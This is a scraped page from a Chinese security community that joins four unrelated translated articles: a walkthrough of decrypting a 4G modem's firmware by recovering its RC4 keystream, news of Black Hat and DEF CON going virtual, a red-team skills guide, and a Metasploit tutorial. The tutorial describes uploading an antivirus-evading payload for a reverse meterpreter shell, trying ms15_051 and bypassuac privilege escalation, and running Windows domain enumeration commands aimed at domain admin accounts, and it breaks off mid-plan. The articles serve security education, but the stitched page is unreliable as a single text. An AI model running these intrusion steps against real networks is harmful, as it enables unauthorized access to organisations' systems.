<https://github.com/unixhot/waf>
<https://go-macaron.com/>
<http://gobook.io/read/github.com/go-xorm/manual-zh-CN/> | 社区文章 |
# 破解一款流行的4G Modem
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://blog.ptsecurity.com/2016/02/decipher-updates-of-popular-4g-modem.html>
译文仅供参考，具体内容表达以及含义原文为准。
作为一名逆向工程师，当你在对设备代码和固件系统进行检测时，却只发现了一大堆经过加密处理的固件文件，这时你该怎么办？接下来，我准备给大家讲述一个真实的故事，并会教大家如何利用计算机的基础知识和简单的处理逻辑来应对这种情况。
在这篇文章中，我们并没有指明测试所用的Modem（调制解调器）厂商名称，也没有列出具体文件的真实文件名。因为这篇文章主要是要教会大家如何去应对这样的情况，并且给大家提供一个行之有效的解决方案。这种方法可能已经无法适用于最新款的调制解调器了，但是我们也许可以在旧版本的调制解调器中，或者其他生产商所生产的Modem中测试这种方法。
**1\. 确定文件结构**
首先，我们需要确定调制解调器固件的文件结构。在这款调制解调器中，有三个更新版本：
l v2.8_image.bin
l v3.7_image.bin
l v3.7.4_image.bin
其中，所有的文件均采用了TLV格式（一种由(Type,Length,Value)三元组所构成的可变格式）。比如说，文件v3.7.4_image.bin的结构应该如下图所示：
所有的数据值均采用了小端格式，标签（Tag）的长度为16位，数据长度（Length）值为32位。
标签0x7240位于第一层嵌套中，其数据域占满了整个文件。标签0x0003（0x0A字节）位于第二层嵌套中（这段数据位于标签0x7240的数据中满，即嵌套关系）；接下来的就是标签0x0000（0x4BDE0E字节），标签0x0001，以及0x0002（这些数据并不在上面给出的这张截图中）。第三层嵌套包含有标签0x0002和0x0003的数据，并且还存储有030704FF文件的版本号（其长度为四个字节）。
固件文件中还有很多单独封装的文件，而这些文件的描述信息均存储在位于第二层嵌套的其他标签中（0x0000，0x0001，以及0x0002）。
其中，每一个文件都会有一个单独的名称（标签0x0001），单独的标志（标签0x0002），大小值（标签0x0003），长度为16字节的值（标签0x0004），以及文件数据（标签0x0005）。
我们对文件中所有的标签的内容进行了解析处理，下图所显示的就是我们的处理结果：
这样一来，我们就可以从固件文件的所有组件（CPUImage，AutoInstall，以及WebUI）中提取出加密数据了。在我分析之后发现，这三个固件版本中的AutoInstall文件其实是一样的，v3.7和v3.7.4中的WebUI文件内容也是相同的。但是这三个固件版本中的CPUImage文件却都不一样。
**2\. 推测加密算法**
标签0x0004位于第三层嵌套中，该标签包含有一个长度为16字节的数据集，而且该数据经过了非常复杂的加密处理。它很有可能是一个哈希值，而目前最为常见的128位哈希算法就是MD5了。
在我们获取到的加密文件中，很多偏移量的字节数据值都是相同的。下图显示的是两个文件的起始数据（不同的地方已经通过高亮效果标出）：
但是，如果你试图想要在同一个文件中找到相同的数据序列的话，你会发现这是不可能的。
从表面上看，开发人员似乎曾使用了一个半随机的伽马常数来对这些信息进行过处理。RC4算法是目前最为流行的一种加密算法，而它可以实现这样的功能。
**3\. 使用常量密钥来破解流密码**
如果系统仅使用一个密钥来加密文件中的多条数据（例如上文提到的伽马值），我们就可以对这些数据进行异或计算来得到它们的部分内容：0字节将会返回明文数据。
我们在对AutoInstall文件和WebUI文件进行了分析之后，得到了以下有趣的结果：
我们可以从这两个数据段中看到，其中有一个文件为FAT12软盘的映像文件，而另一个则是虚拟光驱的映像文件。
**4\. 获取伽马值的数据**
在调制解调器安装驱动或者软件的时候，设备会挂载一个虚拟CD-ROM（即虚拟光驱），并与其进行连接，这一机制与很多现代Modem设备是一样的。
但是，当调制解调器与新型的操作系统（例如Windows 7/8，Linux，或者Mac OS
X）连接时，调制解调器所加载的虚拟光驱要么就是根本不显示，要么就是显示一两秒钟之后就消失了。为了对这一问题进行测试，我们专门找到了一台2002年生产的Windows
XP笔记本电脑。与之前的情况差不多，虚拟光驱出现了大约五秒钟就消失了，但是也足够我们读取出所有逻辑卷中的数据并获取到对应的映像文件。这个文件大小为606,208，即0x94000字节，对应的正是AutoInstall文件的大小。映像文件的MD5值为897279F34B7629801D839A3E18DA0345，这个值与标签0x0004的值相同。
现在，我们只需要用AutoInstall文件与这个虚拟光驱映像文件进行异或计算，就可以获取到伽马值的数据了。这个伽马值可以用于解密CPUImage和WebUI文件中的加密数据（数据大小分别为4,971,976个字节和2,093,056个字节）。
**5\. 重组软盘映像文件**
如果你能破解这些加密数据，并且使用零字节填充WebUI文件的剩余部分，然后将所有内容编译成一个FAT映像文件，那么你将能够看到文件系统的整体结构和某些文件的内容，具体信息如下图所示：
如果你的调制解调器能够与网页浏览器进行连接，那么你可以将地址“http:///dir”输入至浏览器中，你将会看到如上图所示的文件系统，而且你也可以下载这些文件。
为了恢复WebUI文件，你必须通过web页面下载相应的文件，并进行替换操作。
根据Web接口所提供的数据，ru目录必须包含下列文件：
在我们对上述结果进行了进一步的分析之后，我们成功地破解了AutoInstall文件和WebUI文件，并且还得到了伽马值的相关数据。这一过程中的具体操作步骤请查看原文获取。
**6\. 检测CPUImage文件**
当我们成功解密了CPUImage文件的前2MB数据之后，我们就可以打开反汇编工具了。在对处理器的指令系统和下载基址等数据进行了分析之后，我们得到了下列代码：
从上图中我们可以看到，其中加密密钥的长度为0x2ADC60个字节，但是0x2ADC60=2,808,928，所以这个密钥长度已经超出了我们之前所找到的伽马值了。
在早期版本（v3.7和v2.8）的固件中，这个加密密钥的长度同样也超出了相关数据域（长度分别为0x2AD70C和0x2A852C）。
**7\. 异或**
如果拿固件v3.7和v3.7.4的CPUImage文件进行异或计算，我们将会得到类似“SungKook "James" Shin”的字符串，地址为0x34C
+ 0x2AD70C = 0x2ADA58。这是一个RC4密钥，系统利用这个密钥来对整个文件系统进行了加密。
现在，我们最后的一件事情就是确保这个RC4密钥能与我们之前所获取的伽马值相匹配，并且CPUImage的MD5值能与固件系统的文件header相匹配。
经过上述这一系列操作之后，我们就可以对固件进行更加深入的测试了，但是从这里开始，情况又会变的大不一样了。 | 社区文章 |
# 受疫情影响，Black Hat及DEF CON改为线上举办
|
##### 译文声明
本文是翻译文章，文章原作者 bleepingcomputer，文章来源：bleepingcomputer.com
原文地址：<https://www.bleepingcomputer.com/news/security/black-hat-and-def-con-security-conferences-go-virtual-due-to-pandemic/>
译文仅供参考，具体内容表达以及含义原文为准。
受疫情影响，DEF CON和Black Hat近日宣布取消原计今年夏天在拉斯维加斯举行的线下安全会议，改为线上举行。
每年夏季时分，众多安全研究人员、执法机构、政府机构、安全公司、媒体机构及黑客们都会前往拉斯维加斯参加Black Hat和DEF
CON安全会议，了解最新安全研究成果及最新安全威胁。
Black Hat 2020原计划于8月1日至6日举行，DEF CON28原计划于8月7日至9日举行。
图. Black Hat 2016
由于全球疫情影响，主办方担心无法保障线下会议安全，因此Black Hat及DEF CON今天宣布将会议改成线上举行。
Black
Hat官方[宣称](https://www.blackhat.com/us-20/updates.html)：“随着全球疫情不断蔓延，过去的几个月中我们一直在寻找为信息安全社区提供服务的最佳方法。我们决定不再举办线下会议，而是改变既定安排，将Black
Hat USA改为线上举办，以确保能为整个社区提供最佳的服务”。
DEF CON每年都会开玩笑将“取消DEF CON”，没想到今年“梦想成真”。由于DEF
CON今年改成线上会议模式，因此事实上已进入“带网络连接的安全模式”。
DEF
CON还[提到](https://forum.defcon.org/node/232005)：“虽然拉斯维加斯线下活动已取消，但我们将在8月7日-9日（当地时间周五至周六）举办DEF
CON 28 Safe Mode，周四举办101 Orientation，这些活动都采用远程模式。我们将通过DEF
CON论坛协调公众能够参与其中的各种方式，大家可以在这里发布计划、注册签到、发表图片、视频等，通过各种方式参与其中”。
Black Hat并没有提到如何举办虚拟会议，但表示将很快公布更多信息。
DEF CON表示将使用[Discord](https://discord.io/dc)服务器来组织虚拟会议，以线上形式继续推进整个活动。
主办方选择采用虚拟会议无疑会使许多期待现场参与安全盛会的人们大失所望，但对以往无法到场参与的人而言，今年又是一个不错的参会体验。 | 社区文章 |
原文地址：<https://medium.com/@redteamwrangler/how-do-i-prepare-to-join-a-red-team-d74ffb5fdbe6>
在本文中，我们将为读者介绍要想加入红队，需要掌握哪些方面的技能。
图片来源：BYU Photo / EurekAlert
## 红队到底是做什么的?
在红队中，您需要仿真、模拟或以其他方式扮演某个、某组[入侵者](https://en.wikipedia.org/wiki/Threat_actor
"入侵者")或理论上的假想敌。这些活动通常以单独的演习或练习的形式出现，其目的是训练[蓝队](https://en.wikipedia.org/wiki/Blue_team_%28computer_security%29
"蓝队")，蓝队由负责各种防御工事的小组或个人组成。并且，这种对抗可以在任何层面上开展，从[应用程序的安全性](https://searchsoftwarequality.techtarget.com/definition/application-security
"应用程序的安全性")到[主动防御设施](https://www.forbes.com/sites/danwoods/2018/06/22/how-deception-technology-gives-you-the-upper-hand-in-cybersecurity/ "主动防御设施")，等等。
此外，红队的组织形式或类型也随不同的公司而异。例如，有的公司中，红队的部分职责是由某个人“兼任”的，除此之外，他们还要负责其他攻击性的安全任务，如[渗透测试或漏洞评估](https://danielmiessler.com/blog/when-vulnerability-assessments-pentesting-red-team-bug-bounties/
"渗透测试或漏洞评估")等。而有些公司的红队，成员之间具有明确的分工，各司其职，以便集中精力进行安全事件的检测和响应。
无论如何，只要红队的能力与蓝队的能力能够很好地匹配即可，任何形式都不重要。
## 安全攻击的生命周期
首先，重要的是要了解[攻击的生命周期](https://www.paloaltonetworks.com/cyberpedia/how-to-break-the-cyber-attack-lifecycle
"攻击的生命周期")，又称[网络攻击链](https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html
"网络攻击链")，或简称[攻击链](https://en.wikipedia.org/wiki/Kill_chain
"攻击链")。这个大纲定义了入侵者完成攻击所需的所有步骤。大多数红队的业务工作都是按照这些步骤上完成的，由于这些步骤都是[服务于一个特定的目标](https://www.rand.org/content/dam/rand/pubs/testimonies/CT400/CT490/RAND_CT490.pdf
"服务于一个特定的目标")的，通常称为“有针对性的行动”。
图片来源：Fireeye/Mandiant Consulting
入侵者通常根据其动机进行分类，例如通过[窃取支付数据来赚钱](https://www.wired.com/story/fin7-carbanak-hacking-group-behind-a-string-of-big-breaches/
"窃取支付数据来赚钱")的入侵者等等。由于攻击过程涉及的所有步骤都是围绕其动机进行的，所以，了解这些情况能够帮助蓝队组织他们的防御工事。
如果您想深入全面地了解这些步骤，又称为[战术](https://azeria-labs.com/tactics-techniques-and-procedures-ttps/ "战术")（或工具）、技术和程序，请参考[MITRE
ATT&CK框架](http://attack.mitre.org/wiki/Main_Page "MITRE ATT&CK框架")。
## 我应该选择什么角色？
红队通常都具备了大量的技能，但是在如何将它们组织起来以便在角色中得到最大的发挥方面，现在还没有一种正确的方法可以做到这一点。不过，从逻辑上将各种活动分为不同的两组还是很有帮助的，即工程和操作。这是所有类型的技术团队普遍采用的一种策略。
简单地说：工程师构建工具，操作员部署和使用工具。
许多团队会专门为某个操作创建特定的，通常是临时的操作员角色。例如，一个成员负责发送网络钓鱼电子邮件，而另一个成员则负责攻击目标执行红队的payload时对传入的远程访问采取行动。
红队如何在一个或多个团队成员中分配这些技能完全取决于风格、能力、培训和可用人才。我们应该选择其中的几个角色来进行训练，这样加入小团队时就可以灵活变通。
## 我应该学习什么技能？
非常简单！选择您感兴趣的相关技能，这能让您成为更好的技术沟通者。多尝试一些，看看哪些更适合自己……
红队的技能选择及其与角色的相关性
### 攻击性思维
随着安全行业的发展，世界上所有的“管道胶带和泡泡糖”都开始浮出水面。大多数系统的设计目标，只是为了完成指定的任务。你的工作将是把这些系统拆开，并考察其黏糊糊的内部结构。
这是一种能让你克服所有困难的技巧。
示例：你必须学会[用弹簧片开锁，而不是用钥匙](https://art-of-lockpicking.com/how-to-pick-a-lock-with-a-bobby-pin/ "用弹簧片开锁，而不是用钥匙")。
技能培养：CTF、wargames或渗透测试实验都是锻炼攻击性思维的好方法，比如[PicoCTF](https://picoctf.com/#registration
"PicoCTF")和[Hack The Box](https://www.hackthebox.eu/ "Hack The
Box")。寻找在本地会议上现场演示的CTF的小组。这里真正的关键是始终质疑假设。
### 渗透测试
在渗透测试的旗帜下，隐藏着许多可以被归类为漏洞评估的东西，但是为了便于讨论，让我们在这里将其描述为在网络或主机上搜索已知漏洞的过程。
虽然这不是红队的只要职责，但是你还要在这个方面保持敏锐。在对抗过程中利用已知的漏洞发动进攻是培训蓝队[事件响应](https://searchsecurity.techtarget.com/definition/incident-response "事件响应")分析人员的好方法。
示例：扫描无需身份验证的[MongoDB](https://www.mongodb.com/
"MongoDB")实例以[泄露](https://www.techopedia.com/definition/14682/data-exfiltration "泄露")有价值的数据。
技能培养：熟悉现有的自动漏洞扫描程序，如[Nessus](https://www.tenable.com/products/nessus/nessus-professional "Nessus")或[OpenVAS](http://www.openvas.org/
"OpenVAS")。像攻击性思维一样，CTF、wargames或渗透测试实验也非常适合用于培养这一技能。
### 漏洞研究
没有强制性要求，但作为红队队员，如果自身具备挖掘[0-day](https://en.wikipedia.org/wiki/Zero-day_%28computing%29 "0-day")漏洞的能力的话，自然是极好的。该技能可以用于利用第三方或内部开发的应用程序中的未知漏洞。
这与渗透测试有许多重叠之处，但关键区别在于，0-day漏洞挖掘过程非常耗时，并且从检测和响应安全事件的角度来看，可能无法有效提高蓝队在这方面的应对能力。
示例：您的团队会发现某个内部应用程序存在漏洞的风险很大。在此之后，通过研究发现了一个可利用的漏洞，并编写一个概念验证工具，这样，您的团队就可以利用该工具来实现代码执行攻击了。
技能培养：关于应用程序漏洞利用的文章或书籍有很多，如Security Sift站点上的
<https://www.securitysift.com/windows-exploit-development-part-1-basics/，或者Dafydd> Stuttard和Marcus Pinto撰写的“<https://www.amazon.com/Web-Application-Hackers-Handbook-Exploiting/dp/1118026470”一书。>
### 软件开发
红队要想成功，关键在于其软件开发能力，这一点再强调也不为过。顶级的红队几乎无法与标准应用产品团队区分开来；他们也会采用正规的开发方法，使用版本控制和发布软件，设置路线图，使用CI/CD技术，编写测试用例，等等。如果在不知情的情况下，大多数红队看上去就是开发团队。
您将发现，自己需要使用多种语言来编写代码，这具体取决于您打算使用的平台和对抗技术，此外，还必须与其他人合作编程。
这方面，最重要的是要了解[最小可行产品](https://en.wikipedia.org/wiki/Minimum_viable_product
"最小可行产品")（MVP）原则。要让代码运行起来，要[编写相应的文档](https://guides.github.com/features/wikis/
"编写相应的文档")。如果它在将来成为了一个重要的工具，那么，可以在将来投入更多的事件来改进它。
示例：您的操作人员需要一种方法来搜索主机中的敏感文件。为了提供相应的支持，可以编写一个Python脚本，列出所有可能的私钥和电子表格。
技能培养：对于普通的编程书籍，在这方面可能需要进行相应的改进，但也有很多书专注于编程语言的攻击性使用，例如Justin Seitz编写的“ [Black
Hat Python: Python Programming for Hackers and
Pentesters](https://www.amazon.com/Black-Hat-Python-Programming-Pentesters/dp/1593275900 "Black Hat Python: Python Programming for Hackers and
Pentesters")”一书。
### 基础设施
为了让红队发挥最大作用，最好将建立和维护C2基础设施的繁琐事宜交由其他人处理。
对于基础设施来说，可靠性和可还原性是非常重要的特性。使用基础设施自动化和配置管理工具，不仅可以实现快速迭代，同时也能节约花费在终端上的时间。
[基础设施即代码](https://docs.microsoft.com/en-us/azure/devops/learn/what-is-infrastructure-as-code "基础设施即代码")应该是红队的梦想，这样一来，就不用每天都抽出一个小团队来管理整个基础设施了。
示例：您的[反向代理](https://www.nginx.com/resources/glossary/reverse-proxy-server/
"反向代理")应该被配置为抵御“好事的”分析师，并且该功能应该从[存储库](https://guides.github.com/activities/hello-world/ "存储库")或[容器](https://medium.freecodecamp.org/a-beginner-friendly-introduction-to-containers-vms-and-docker-79a9e3e119b "容器")中自动部署。
技能培养：尝试使用免费试用的[AWS](https://aws.amazon.com/ "AWS")资源以及相应的自动化工具，如
[CloudFormation](https://aws.amazon.com/cloudformation/
"CloudFormation")和[OpsWorks](https://aws.amazon.com/opsworks/
"OpsWorks")来建立一个基于云的网络实验室。此外，建议阅读[@bluscreenofjeff](https://twitter.com/bluscreenofjeff
"@bluscreenofjeff")撰写的[Red Team Infrastructure Wiki
](https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki "Red Team
Infrastructure Wiki ")，了解专门红色团队进行优化的相关流程。
### 网络和系统
在基础设施的设计和实现过程中，一定要搞清楚主机和网络相关的所有细节——可靠性和安全性都在细节中。这一点怎么强调也不为过。
这些系统可以是公共云或私有云托管、ESXi上的虚拟机、物理或虚拟网络。它们通常会面临黑客千奇百怪的攻击，所以，我们一定要确保红队可以毫不费力地模拟攻击者的工作方式。同时，您还需要对命令行非常熟悉。
此外，熟悉这些主题也有助于您在目标环境中完成操作。
示例：获得目标主机访问权限后，第一步通常是[列出正在运行的进程](https://superuser.com/questions/914782/how-do-you-list-all-processes-on-the-command-line-in-windows "列出正在运行的进程")。
技能培养：这些技能可以通过常规方法养成，但需要多加练习，如设置反向代理、防火墙、身份验证等。此外，还可以在实验室中搭建诸如[Empire](https://null-byte.wonderhowto.com/how-to/use-powershell-empire-getting-started-with-post-exploitation-windows-hosts-0178664/
"Empire")之类的[后续利用框架](https://www.google.com/search?q=post-exploitation+framework "后续利用框架")，并探索其各种功能。
### 逆向工程
[逆向工程](https://en.wikipedia.org/wiki/Reverse_engineering
"逆向工程")是分析某些对象的过程，目的是弄清楚其工作原理。
逆向分析可以用来分析[在野](https://www.intego.com/mac-security-blog/what-does-in-the-wild-mean-when-talking-about-malware/
"在野")恶意软件（这通常称为[恶意软件分析](https://en.wikipedia.org/wiki/Malware_analysis
"恶意软件分析")），旨在掌握其功能，以及攻击者是如何使用它们的。我们可以从很多[地方](https://zeltser.com/malware-sample-sources/
"地方")找到恶意软件样本进行逆向练习，但一定要[倍加小心](https://www.malwaretech.com/2017/11/creating-a-simple-free-malware-analysis-environment.html "倍加小心")。
此外，我们还可以逆向分析来了解目标应用程序的运行方式，以便找出相应的[漏洞利用代码](https://en.wikipedia.org/wiki/Exploit_%28computer_security%29
"漏洞利用代码")。
示例：假设您要使用不常见的COM对象来执行代码。您需要批量分析[Windows COM](https://docs.microsoft.com/en-us/windows/desktop/com/the-component-object-model "Windows
COM")对象，以找到含有启动进程所需的[导入函数](https://docs.microsoft.com/en-us/cpp/build/reference/imports-dumpbin?view=vs-2017 "导入函数")的对象。
技能培养：您可以通过阅读Chris Eagle撰写的“[The IDA Pro Book](https://www.amazon.com/IDA-Pro-Book-Unofficial-Disassembler/dp/1593272898 "The IDA Pro Book")”一书，来学习如何使用IDA
Pro，或者阅读[@malwareunicorn](https://twitter.com/malwareunicorn
"@malwareunicorn")撰写的[Reverse Engineering Malware
101](https://securedorg.github.io/RE101/ "Reverse Engineering Malware 101")。
### 社会工程学
入侵者发动网络攻击时，[第一步](https://attack.mitre.org/tactics/TA0001/
"第一步")通常是发送网络[钓鱼电子邮件](https://www.securitymetrics.com/blog/top-10-types-phishing-emails "钓鱼电子邮件")，因此，了解人们在哪方面容易上当受骗是非常重要的。
社会工程在攻击过程中的应用非常广泛，例如佯装掉在地上的USB设备，水坑攻击等。
应用社会工程是红队实际工作中的一部分，旨在欺骗毫无戒心的用户。当然，忽悠人只是可选的一个步骤。此外，也可以跳过网络钓鱼，直接使用已有的访问权限，或故意给队员留下针对特定主机的远程访问权限，以减少操作时间。
这种测试不同于测量和训练最终用户安全意识的[网络钓鱼评估](https://www.sans.org/security-awareness-training/blog/phishing-assessments-simple-anonymous-and-free-approach
"网络钓鱼评估")。
示例：客户要求您针对公司高管创建一个令人信服的[鲸钓](https://digitalguardian.com/blog/what-whaling-attack-defining-and-identifying-whaling-attacks "鲸钓")工具，以测试其防范意识。
技能培养：检查您的垃圾邮件文件夹中的网络钓鱼样本，并掌握[@HackingDave](https://twitter.com/HackingDave
"@HackingDave")提供的[Social Engineer Toolkit](https://www.trustedsec.com/social-engineer-toolkit-set/ "Social Engineer Toolkit")的使用方法。
### 物理安全
一些红队的工作范围甚至包括物理安全。这个测试可能非常简单，例如悄悄的进入某个场所，然后在指定的地方留下一个投递箱。这虽然是一个有趣的话题，但许多公司还没有引起足够的重视。
示例：总部大厅中的网络插孔位于内部LAN上，您需要演示针对它们的攻击。
技能培养：[开锁](https://art-of-lockpicking.com/how-to-pick-a-lock-guide/
"开锁")，[安全系统绕过技术](https://www.youtube.com/watch?v=xcA7iXSNmZE
"安全系统绕过技术")，[徽章破解](https://blog.kchung.co/rfid-hacking-with-the-proxmark-3/
"徽章破解")（badge hacking）和[诈骗游戏](https://www.amazon.com/Social-Engineering-Science-Human-Hacking-ebook/dp/B07F24YV2M "诈骗游戏")（confidence
games）等，都是不错的训练方法。
### 威胁情报
红队需要来自多个威胁情报源的战术情报，从而为战术桶中的入侵者仿真提供丰富的素材。此外，我们还可以为工具和文档添加新的功能，以便可以搜索特定入侵者的相关资料，如博客文章等。
威胁情报还可以确定入侵者的动机，以及在称为[入侵追踪](https://www.blackhat.com/docs/asia-17/materials/asia-17-Huang-24-Techniques-to-Gather-Threat-Intel-And-Track-Actors.pdf "入侵追踪")（ threat actor
tracking）的过程中识别攻击者的行为模式。红队可以使用这些信息来设计对抗演习相关背景。
威胁情报也可以来自安全研究人员等更为温和的来源。他们的工作不仅可以预测入侵者的战术，甚至可以[影响](https://blog.talosintelligence.com/2017/10/dnsmessenger-sec-campaign.html "影响")他们的行为。
示例：您知道特定的入侵者会在获得持久性访问权限时发送启用宏的[恶意Office文档](https://medium.com/walmartlabs/reverse-engineering-an-obfuscated-malicious-macro-3fd4d4f9c439
"恶意Office文档")来利用[WMI](https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf
"WMI")订阅，因此您可以设计POC来复现该行为。
技能培养：查看大量关于恶意软件分析和入侵者跟踪技术的相关[文章和报告](https://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf "文章和报告")。
### 安全事件的检测和响应
蓝队将成为您的主要客户和对手。他们是安全检测和响应方面的专家。红队需要能够预测蓝队的能力，并在工作过程中充分利用这些知识。
学习公司的防御机制能够让红队成员比其他攻击性安全从业者更有价值。
示例：您知道蓝队会监视与Powershell相关的[日志](https://www.crowdstrike.com/blog/investigating-powershell-command-and-script-logging/
"日志")，因此，当您设计利用Poweshell漏洞的工具时，您可以[调用版本为2的Poweshell，而不是最新版本的Poweshell](https://blog.stealthbits.com/how-attackers-are-bypassing-powershell-protections/
"调用版本为2的Poweshell，而不是最新版本的Poweshell")。
技能培养：在您的实验室网络上搭建Security
Onion，以及基于主机的监控工具，如sysmon或auditd。在实验室进行相关作业时要密切关注它们。你会慢慢发现，你也能从蓝队的角度思考问题了。此外，还可以经常阅读介绍如何有效预防和检测入侵方法的[相关文章](https://blog.stealthbits.com/ways-to-detect-and-mitigate-powershell-attacks "相关文章")。
### 技术写作
清楚地描述纯技术方面问题并能兼顾广大受众的感受是一件具有挑战性的事情，但其重要性不容小觑。作为顾问，技术写作对于向客户提供有价值的[报告](https://resources.infosecinstitute.com/writing-penetration-testing-reports/ "报告")至关重要。
老天保佑，希望你需要做的报告越少越好。
同样重要的是，为红队使用的工具和流程编写文档。这方面的信息非常多，维持态势感知的唯一方法就是编写详细的文档，并且不断更新文档。
在制定规划时，大多数团队都计划递交相关的提案，详细说明特定红队活动的风险和回报，以供管理层批准。
示例：对于您的行动提案，您需要向利益相关方保证，您可以安全和负责地完成相关活动，并给出具体的活动成果，当然，必须以书面形式给出。
技能培养：培养这种技能非常具有挑战性，我们建议学习技术写作的正式课程，例如[Coursera](https://www.coursera.org/learn/technical-writing "Coursera")提供的相关课程。此外，也可以撰写您擅长领域方面的问这，并请一些有经验的熟人做您的审稿人。
### 培训与汇报
所有上述技能都建立在实现红队教学目标的能力之上的。
您应该能够通过红队工作报告向主要蓝队利益相关者提供简短的介绍（汇报），注意陈述相关的事件链。清晰地、一致地、不带苛刻的评判地完成这件事，不仅是红队向更大的组织展示其价值的正确方式，也是与蓝队保持积极关系的正确姿势。
您还应该能够组织与红队相关的各种知识，并在个人或团体培训环境中提供这些知识。这样，不仅可以分享您对相关主题的理解，同时，听众还可以实时提问，这样，他们就不用通过观察您的工作来间接学习相关的知识。
示例：假设公司蓝队在分析Windows中的[备用数据流](https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/
"备用数据流")的利用方法时遇到问题。这时，你可以将自己对ADS的了解，以及入侵者常用的战术，作成一个简短的汇报，来讲给蓝队分析师听。
技能培养：找机会向别人介绍自己熟悉的主题，例如写博客文章，或讲解给对安全感兴趣的朋友。如果您希望提高自己的公开演讲技能，我们向您推荐[Toastmasters](https://www.toastmasters.org/
"Toastmasters")，或者在[本地小型会议](http://www.securitybsides.com/w/page/12194156/FrontPage
"本地小型会议")上发表演讲。
## 我应该去内部红队吗？
这取决于你想要的是什么……
外部（咨询）红队能够让您有机会向众多组织学习。而且你会发现，不同的组织对成熟度、敏捷性和接受度的要求各不相同。这是学习和了解行业状况的绝佳机会。
在外部（咨询）红队工作，所在的工作都是针对所有客户的。并且，你与客户的防御方之间的反馈循环通常是非常肤浅的，虽然无法了解客户内部的运作机制，却也远离了办公室政治和企业内讧。
内部（公司）红队特点与上面介绍的正好相反。您可以选择其中一个具有特定成熟度的公司，并且有机会深入了解公司内部的运作机制——但是，这样一来，你就难成为一名顾问。
您将体验到直接由功能齐全的业务提供资金所带来的所有复杂性，这些业务的首要任务是运营业务，而不是信息安全。你将与防御者并肩作战——事件反应者、情报分析员、安全工程师……你不仅可以利用他们的专业知识来提高你作为攻击者的技能，此外，利用这些知识，还可以帮助自己在未来打造更好的安全组织。
为此，您可能需要做出很多妥协。您将与组织中的许多其他人一起成长。您将对保护重要信息的系统产生可见的、可衡量的和负责任的影响。
## 结束语
对你来说，最重要的是激发对进攻性安全领域的兴趣，而各种技能对于有效的红队合作来说都非常重要，因此，无论掌握了该领域的哪些技能，绝对不缺就业机会。此外，弄清楚你希望以何种形式来影响组织也很重要。你面临的最大挑战是找到这样一家公司：设有红队，并且与您具有相同的价值观，同时愿意与你一起成长。
实际上，红队通常根据以前的进攻或（希望）防守安全经验来聘用相关人员。那如何才能脱颖而出呢？要了解防御方到底需要什么，以及他们的日常工作是什么样的。
红队的核心是挑战假设。它总是批判性地看待系统或人类，并礼貌地提出挑战：“为什么它会以这种方式运作，还可以做得更好吗？” | 社区文章 |
# 【技术分享】Metasploit驰骋内网直取域管首级
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[shuteer](http://bobao.360.cn/member/contribute?uid=1268998211)
预估稿费：400RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**0×01 引言**
我们渗透的最终目的是获取服务器的最高权限，即Windows操作系统中管理员账号的权限，或LINUX操作系统中root账户权限。而在内网中，我们的最终目的就是获取域管理员账户或成为其中之一。今天要讲的就是如何通过一个普通的webshell权限一步步的获得域管权限，从而掌控整个内网。
**0×02 渗透环境**
此次渗透的环境：假设我们现在已经渗透了一台服务器PAVMSEF21，该服务器内网IP为10.51.0.21。经过扫描，内网网络结构大概如下图所示。其中我们控制的服务器是连接外网和内网的关键节点，内网其他服务器均不能直接连接。图还是我老婆画的，越来越漂亮了！:
)
**0×03 反弹meterpreter**
上传免杀的PAYLOAD到机器名为PAVMSEF21，IP为10.51.0.21的服务器上，然后在菜刀或者WEBSHELL下面运行，反弹成功。
**0×04 提权**
获得meterpreter
shell我们要做的第一件事情就是提权。通常，我们在渗透过程中很有可能只获得了一个系统的Guest或User权限。低的权限级别将会使我们受到很多的限制，所以必须将访问权限从Guset提升到User,再到Administrator,最后到SYSTEM级别。
我们先尝试利用本地溢出漏洞提权，即使用本地漏洞的利用程序（local
exploit）提升权限。就是说通过运行一些现成的造成溢出漏洞的exploit,把用户从users组或其它系统用户中提升到administrators组（或root）。
此时我们获取的权限是一个普通域用户权限，如下图所示
先利用本地溢出提权，尝试了ms15_051和ms15_078，都以失败告终。如下图所示：
再试试看能不能绕过Windows账户控制（UAC），我们现在是具有一个普通域用户的权限的。
尝试了bypassuac模块，又以失败告终，如果成功会返回一个新的meterpreter shell。如下图所示：
使用bypassuac模块进行提权时，系统当前用户必须在管理员组，而且用户账户控制程序UAC设置为默认，即“仅在程序试图更改我的计算机时通知我”。而且Bypassuac模块运行时因为会在目标机上创建多个文件，所以会被杀毒软件识别。我们没能绕过UAC，可能是这二个原因。
其实提权没有成功也不要紧，我们还是可以通过此服务器为跳板，来攻击其他服务器的。
**0×05 信息收集**
我们此时虽然提权不成功，但我们还是可以进行域渗透测试的。有了内网的第一台机器的权限后，如何收集信息，这是很关键的一步，也是内网渗透中不可或缺的一部分。
查看当前机器的网络环境，收集域里面的相关信息，包括所有的用户，所有的电脑，以及相关关键的组的信息。常使用到的命令如下：
net user /domain 查看域用户
net view /domain 查看有几个域
net view /domain:XXX 查看此域内电脑
net group /domain 查询域里面的组
Net group “domain computers” /domain 查看域内所有计算机名
net group “domain admins” /domain 查看域管理员
net group “domain controllers” /domain 查看域控制器
net group “enterprise admins” /domain 查看企业管理组
net time /domain 查看时间服务器
**0x06 获取一台服务器权限**
我们的目标当然是域服务器，此时有二种情况，当前服务器可以直接攻击域服务器和不可以直接攻击域服务器。
可以直接攻击域服务器
不可以直接攻击域服务器，如果权限不够我们需要提升权限；如果是不能连接到域服务器需要攻击内网某个可以连接到域服务器的服务器，然后以此为跳板再攻击域服务器。
我们现在因为权限问题不可以直接攻击到域服务器，整理下思路，可以采取以下方法继续渗透：
1.使用meterpreter的目前权限来添加路由进行弱口令扫描
2.使用powershell对内网进行扫描（要求WIN7以上服务器）
3.架设socks4a，然后socks进行内网扫描
4.利用当前权限，进行内网IPC$渗透
